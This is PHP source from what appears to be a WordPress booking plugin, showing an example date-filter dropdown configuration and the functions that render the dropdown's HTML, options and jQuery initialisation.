$params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_event', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() ); $dates_interval = array( 1 => '1' . ' ' . __('day' ,'booking') , 2 => '2' . ' ' . __('days' ,'booking') , 3 => '3' . ' ' . __('days' ,'booking') , 4 => '4' . ' ' . __('days' ,'booking') , 5 => '5' . ' ' . __('days' ,'booking') , 6 => '6' . ' ' . __('days' ,'booking') , 7 => '1' . ' ' . __('week' ,'booking') , 14 => '2' . ' ' . __('weeks' ,'booking') , 30 => '1' . ' ' . __('month' ,'booking') , 60 => '2' . ' ' . __('months' ,'booking') , 90 => '3' . ' ' . __('months' ,'booking') , 183 => '6' . ' ' . __('months' ,'booking') , 365 => '1' . ' ' . __('Year' ,'booking') ); $request_input_el_default = array( 'wh_booking_date' => isset( $escaped_search_request_params['wh_booking_date'] ) ? $escaped_search_request_params['wh_booking_date'] : $defaults['wh_booking_date'], 'ui_wh_booking_date_radio' => isset( $escaped_search_request_params['ui_wh_booking_date_radio'] ) ? $escaped_search_request_params['ui_wh_booking_date_radio'] : $defaults['ui_wh_booking_date_radio'], 'ui_wh_booking_date_next' => isset( $escaped_search_request_params['ui_wh_booking_date_next'] ) ? $escaped_search_request_params['ui_wh_booking_date_next'] : $defaults['ui_wh_booking_date_next'], 'ui_wh_booking_date_prior' => isset( $escaped_search_request_params['ui_wh_booking_date_prior'] ) ? $escaped_search_request_params['ui_wh_booking_date_prior'] : $defaults['ui_wh_booking_date_prior'], 'ui_wh_booking_date_checkin' => isset( $escaped_search_request_params['ui_wh_booking_date_checkin'] ) ? $escaped_search_request_params['ui_wh_booking_date_checkin'] : $defaults['ui_wh_booking_date_checkin'], 'ui_wh_booking_date_checkout' => isset( $escaped_search_request_params['ui_wh_booking_date_checkout'] ) ? $escaped_search_request_params['ui_wh_booking_date_checkout'] : $defaults['ui_wh_booking_date_checkout'] ); $options = array ( // 'header2' => array( 'type' => 'header', 'title' => __( 'Complex Days', 'booking' ) ), // 'disabled1' => array( 'type' => 'simple', 'value' => '19', 'title' => __( 'This is option was disabled', 'booking' ), 'disabled' => true ), '0' => __( 'Current dates', 'booking' ), '1' => __( 'Today', 'booking' ), '2' => __( 'Previous dates', 'booking' ), '3' => __( 'All dates', 'booking' ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), '9' => __( 'Today check in/out', 'booking' ), '7' => __( 'Check In - Tomorrow', 'booking' ), '8' => __( 'Check Out - Tomorrow', 'booking' ), 'divider2' => array( 'type' => 'html', 'html' => '<hr/>' ), // Next [ '4', '10' ] - radio button (if selected) value '4' and select-box with selected value '10' 'next' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', // recheck if LI selected: $options['next']['selected_options_value'] == $params['default], e.g. ~ [ '4', '10' ] 'selected_options_value' => array( 1 => array( 'value' ), // $options['next']['input_options'][ 1 ]['value'] '4' 4 => array( 'value' ) // $options['next']['input_options'][ 4 ]['value'] '10' ), // Get selected Title, for dropdown if $options['next'] selected 'selected_options_title' => array( 1 => array( 'label', 'title' ), // $options['next']['input_options'][ 1 ]['label'][ 'title' ] 'Next' 'text1' => ': ', // if key 'text1' not exist in ['input_options'], then it text ': ' 4 => array( 'options', $request_input_el_default['ui_wh_booking_date_next'] ) // '10 days' ), 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( // Default options from simple input element, like: wpbc_flex_radio() 'type' => 'radio' , 'id' => 'ui_wh_booking_date_radio_1' // HTML ID of element , 'name' => 'ui_wh_booking_date_radio' , 'label' => array( 'title' => __('Next' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '4' , 'selected' => ( $request_input_el_default[ 'ui_wh_booking_date_radio' ] == '4' ) ? true : false // Selected or not , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'select' , 'attr' => array() , 'name' => 'ui_wh_booking_date_next' , 'id' => 'ui_wh_booking_date_next' , 'options' => $dates_interval , 'value' => $request_input_el_default[ 'ui_wh_booking_date_next'] , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_1').prop('checked', true);" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), // Prior [ '5', '10' ] 'prior' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'style' => 'min-width: 244px;', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ) , 'text1' => ': ' , 4 => array( 'options' , $request_input_el_default[ 'ui_wh_booking_date_prior'] ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_booking_date_radio_2' // HTML ID of element , 'name' => 'ui_wh_booking_date_radio' , 'label' => array( 'title' => __('Prior' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '5' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_booking_date_radio' ] == '5' ) ? true : false // Selected or not , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'select' , 'attr' => array() , 'name' => 'ui_wh_booking_date_prior' , 'id' => 'ui_wh_booking_date_prior' , 'options' => $dates_interval , 'value' => $request_input_el_default[ 'ui_wh_booking_date_prior'] , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_2').prop('checked', true);" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), // Fixed [ '6', '', '2022-05-21'] 'fixed' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ), 7 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ), 'text1' => ': ', 4 => array( 'value' ), 'text2' => ' - ' ,7 => array( 'value' ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex:1 1 100%;margin-top:5px;">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_booking_date_radio_3' // HTML ID of element , 'name' => 'ui_wh_booking_date_radio' , 'label' => array( 'title' => __('Dates' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '6' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_booking_date_radio' ] == '6' ) ? true : false // Selected or not , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 4px 4px 0;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_booking_date_checkin' // HTML ID of element , 'name' => 'ui_wh_booking_date_checkin' , 'label' => ''//__('Check-in' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('Check-in' ,'booking') , 'value' => $request_input_el_default[ 'ui_wh_booking_date_checkin'] // Some Value from optins array that selected by default , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_3').prop('checked', true);" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 0 4px 4px;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_booking_date_checkout' // HTML ID of element , 'name' => 'ui_wh_booking_date_checkout' , 'label' => ''//__('Check-out' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('Check-out' ,'booking') , 'value' => $request_input_el_default[ 'ui_wh_booking_date_checkout'] // Some Value from optins array that selected by default , 'onfocus' => "jQuery('#ui_wh_booking_date_radio_3').prop('checked', true);" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), 'divider3' => array( 'type' => 'html', 'html' => '<hr/>' ), // Buttons 'buttons1' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'style' => 'justify-content: flex-end;', 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0;">' ) , array( 'type' => 'button' , 'title' => __( 'Apply', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_apply_click( { 'dropdown_id' : 'wh_booking_date', 'dropdown_radio_name': 'ui_wh_booking_date_radio' } );" // JavaScript code , 'class' => 'wpbc_ui_button_primary' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0 0 0 1em;">' ) , array( 'type' => 'button' , 'title' => __( 'Close', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_close_click( 'wh_booking_date' );" // JavaScript code , 'class' => '' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), ); $params = array( 'id' => 'wh_booking_date' , 'default' => $request_input_el_default[ 'wh_booking_date' ] , 'label' => ''//__('Approve 1', 'booking') . ':' , 'title' => ''//__('Approve 2', 'booking') , 'hint' => array( 'title' => __('Filter bookings by booking dates' ,'booking') , 'position' => 'top' ) , 'align' => 'left' , 'li_options' => $options ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div><?php * * ===================================================================================================================== */ function wpbc_flex_dropdown( $args = array() ) { // $milliseconds = round( microtime( true ) * 1000 ); $defaults = array( 'id' => '' // HTML ID of element Example: 'wh_booking_date' , 'default' => array() // Selected by default value(s) Example: 'default' => array( $defaults['wh_booking_date'] , $defaults['wh_booking_date2'] ) , 'hint' => '' // Mouse over tooltip Example: 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'style' => '' // CSS style of dropdown element (optional) , 'class' => '' // CSS class of dropdown element (optional) , 'label' => '' // Label of element "at Top of element" , 'title' => '' // Title of element "Inside of element" , 'align' => 'left' // Align: left | right , 'li_options' => array() // Options , 'disabled' => array() // If some options disabled, then option values list here , 'onfocus' => '' // JavaScript code , 'onchange' => '' // JavaScript code , 'is_use_for_template' => false // In case, if we are using it for template, then we skip JavaScript code for initial value. Need to define it manually. //FixIn: 9.4.3.5 ); $params = wp_parse_args( $args, $defaults ); // If default value not array, then define it as single value in arr. if ( ! is_array( $params['default'] ) ) { $params['default'] = array( $params['default'] ); } // ----------------------------------------------------------------------------------------------------------------- /** * Recomposition of simple options configuration from * 'any' => __( 'Any', 'booking' ) * to * 'any' => array( 'type' => 'simple', 'value' => 'any', 'title' => __( 'Any', 'booking' ) ); */ $is_this_simple_list = true; foreach ( $params['li_options'] as $key_value => $option_data ) { if ( ! is_array( $option_data ) ) { $params['li_options'][ $key_value ] = array( 'type' => 'simple', 'value' => (string) $key_value, 'title' => $option_data ); } else { if ( ( isset( $option_data['type'] ) ) && ( 'complex' == $option_data['type'] ) ) { $is_this_simple_list = false; } } } // ----------------------------------------------------------------------------------------------------------------- // ----------------------------------------------------------------------------------------------------------------- // Rechecking about selected LI option, based on $params['default'] like ['4','10'] and getting title of such option // ----------------------------------------------------------------------------------------------------------------- $default_selected_title = array(); foreach ( $params['li_options'] as $li_option ) { if ( 'simple' == $li_option['type'] ) { if ( $li_option['value'] === $params['default'][0] ) { $default_selected_title = $li_option['title'] ; } } if ( 'complex' == $li_option['type'] ) { // $option[ 'selected_options_value' ] => array( 1 => array( 'value' ), 4 => array( 'value' ) ), // $option[ 'selected_options_title' ] => array( 1 => array( 'label', 'title' ), 'text1' => ': ', 4 => array( 'value' ) ), // Get value of this LI $li_this_value = array(); if ( isset( $li_option['selected_options_value'] ) ) foreach ( $li_option['selected_options_value'] as $li_key => $input_keys ) { if ( isset( $li_option['input_options'][ $li_key ] ) ) { // ['input_options'][4] $li_input_deep_value = $li_option['input_options'][ $li_key ]; foreach ( $input_keys as $input_key_value ) { if ( isset( $li_input_deep_value[$input_key_value] ) ) { // ['input_options'][4]['value'] $li_input_deep_value = $li_input_deep_value[ $input_key_value ]; } } $li_this_value[] = $li_input_deep_value; } } // Is this LI selected ? $is_same_value = array_diff( $params['default'], $li_this_value ) == array(); if ( $is_same_value ) { // Get value of this LI $li_this_value = array(); foreach ( $li_option['selected_options_title'] as $li_key => $input_keys ) { if ( isset( $li_option['input_options'][ $li_key ] ) ) { // ['input_options'][4] $li_input_deep_value = $li_option['input_options'][ $li_key ]; foreach ( $input_keys as $input_key_value ) { if ( isset( $li_input_deep_value[$input_key_value] ) ) { // ['input_options'][4]['value'] $li_input_deep_value = $li_input_deep_value[ $input_key_value ]; } } $li_this_value[] = $li_input_deep_value; } else { $li_this_value[] = $input_keys; //some text } } $default_selected_title = implode( '', $li_this_value ); } } if ( ! empty( $default_selected_title ) ) { break; } } if ( is_array( $default_selected_title ) ) { $default_selected_title = implode( '', $default_selected_title ); // Error:: ? no values ? } // ---------------------------------------------------------------------------------------------------------------------//////////////////////////////////// // Show only, if $item_params['label'] ! EMPTY wpbc_flex_label( array( 'id' => $params['id'] , 'label' => $params['label'] , 'class' => 'wpbc_ui_dropdown__outside_label' ) ); ?><div class="wpbc_ui_dropdown <?php echo esc_attr( $params['class'] ); ?>" style="<?php echo esc_attr( $params['style'] ); ?>" ><?php ?><a href="javascript:void(0)" id="<?php echo esc_attr( $params['id'] ); ?>_selector" data-toggle="wpbc_dropdown" class="wpbc_ui_control wpbc_ui_button dropdown-toggle <?php echo ( ! empty( $params['hint'] ) ) ? 'tooltip_' . $params['hint']['position'] . ' ' : '' ; ?>" <?php if (! $is_this_simple_list ) { ?> onclick="javascript:jQuery('#<?php echo $params['id']; ?>_container').show();" <?php } ?> <?php if ( ! empty( $params['hint'] ) ) { ?> title="<?php echo esc_attr( $params['hint']['title'] ); ?>" <?php } ?> <?php echo wpbc_get_custom_attr( $params ); ?> ><?php ?><label class="wpbc_ui_dropdown__inside_label" <?php if ( empty( $params['title'] ) ) { echo ' style="display:none;" '; } ?> ><?php echo html_entity_decode( wp_kses_post( $params['title'] ) // Sanitizes content for allowed HTML tags for post content , ENT_QUOTES // Convert " to " and ' , get_bloginfo( 'charset' ) // 'UTF-8' or other ); // Convert &dash; to ‐ etc... ?>: <?php ?></label> <?php ?><span class="wpbc_selected_in_dropdown" ><?php echo html_entity_decode( wp_kses_post( $default_selected_title ) // Sanitizes content for allowed HTML tags for post content , ENT_QUOTES // Convert " to " and ' , get_bloginfo( 'charset' ) // 'UTF-8' or other ); // Convert &dash; to ‐ etc... ?></span> <?php ?><span class="wpbc_ui_dropdown__inside_caret"></span><?php ?></a><?php ?><ul id="<?php echo $params['id']; ?>_container" class="ui_dropdown_menu ui_dropdown_menu-<?php echo esc_attr( $params['align'] ); ?>" ><?php wpbc_flex_dropdown__options( $params, array( 'is_this_simple_list' => $is_this_simple_list ) ); ?></ul><?php ?><input type="hidden" autocomplete="off" value="" id="<?php echo esc_attr( $params['id'] ); ?>" name="<?php echo esc_attr( $params['id'] ); ?>" /><?php if( ! $params['is_use_for_template'] ){ //FixIn: 9.4.3.5 ?> <script type="text/javascript"> <?php /* document.getElementById("<?php echo $params['id']; ?>").value = "<?php echo wp_slash( json_encode($params['default'] ) ); ?>"; */ ?> jQuery(document).ready(function(){ jQuery( '#<?php echo $params['id']; ?>').val( "<?php echo wp_slash( json_encode( $params['default'] ) ); ?>" ); <?php if (! empty( $params['onchange'] )) { ?> jQuery( '#<?php echo $params['id']; ?>' ).on( 'change', function( event ){ <?php echo $params['onchange']; ?> }); <?php } ?> <?php if (! empty( $params['onfocus'] )) { ?> jQuery( '#<?php echo $params['id']; ?>_selector' ).on( 'focus', function( event ){ <?php echo $params['onfocus']; ?> }); <?php } ?> }) </script> <?php } ?></div><?php } /** * Options list for Dropdown * * @param $params * @param array $args */ function wpbc_flex_dropdown__options( $params, $args = array() ) { $defaults = array( // 'milliseconds' => round( microtime( true ) * 1000 ), 'is_this_simple_list' => true ); $args = wp_parse_args( $args, $defaults ); foreach ( $params['li_options'] as $option_name => $li_option ) { $default_option = array( 'type' => '' , 'class' => '' , 'style' => '' , 'title' => '' , 'disabled' => false , 'attr' => array() , 'value' => '' , 'html' => '' ); $li_option = wp_parse_args( $li_option, $default_option ); // Is disabled ? if ( true === in_array( $li_option['value'], $params['disabled'] ) ) { $li_option['disabled'] = true; } if ( $li_option['disabled'] ) { $li_option['class'] .= ' disabled'; } // Is header ? if ( 'header' == $li_option['type'] ) { $li_option['class'] .= ' dropdown-header'; } ?><li role="presentation" class="<?php echo esc_attr( $li_option['class'] ); ?>" style="<?php echo esc_attr( $li_option['style'] ); ?>" <?php echo wpbc_get_custom_attr( $li_option ); ?> ><?php switch ( $li_option['type'] ) { case 'simple': ?><a role="menuitem" tabindex="-1" <?php if ( ! $li_option['disabled'] ) { if( false !== filter_var( $li_option['value'], FILTER_VALIDATE_URL ) ){ ?> href="<?php echo $li_option['value']; ?>" <?php } else { ?> href="javascript:void(0)" onclick="javascript: wpbc_ui_dropdown_simple_click( { 'dropdown_id' : '<?php echo $params['id']; ?>' , 'is_this_simple_list': <?php echo ( $args['is_this_simple_list'] ) ? 'true' : 'false'; ?> , 'value' : '<?php echo $li_option['value']; ?>' , '_this' : this } );" <?php } } ?> ><?php echo $li_option['title']; ?></a><?php break; case 'html': echo $li_option['html']; break; case 'header': echo $li_option['title']; break; case 'complex' : foreach ( $li_option['input_options'] as $input_option ) { switch ( $input_option['type'] ) { case 'html': echo $input_option['html']; break; case 'button': wpbc_flex_button( $input_option ); break; case 'label': wpbc_flex_label( $input_option ); break; case 'text': wpbc_flex_text( $input_option ); break; case 'select': wpbc_flex_select( $input_option ); break; case 'checkbox': wpbc_flex_checkbox( $input_option ); break; case 'radio': wpbc_flex_radio( $input_option ); break; case 'addon': wpbc_flex_addon( $input_option ); break; default: // Default } } break; default: // Default } ?></li><?php } }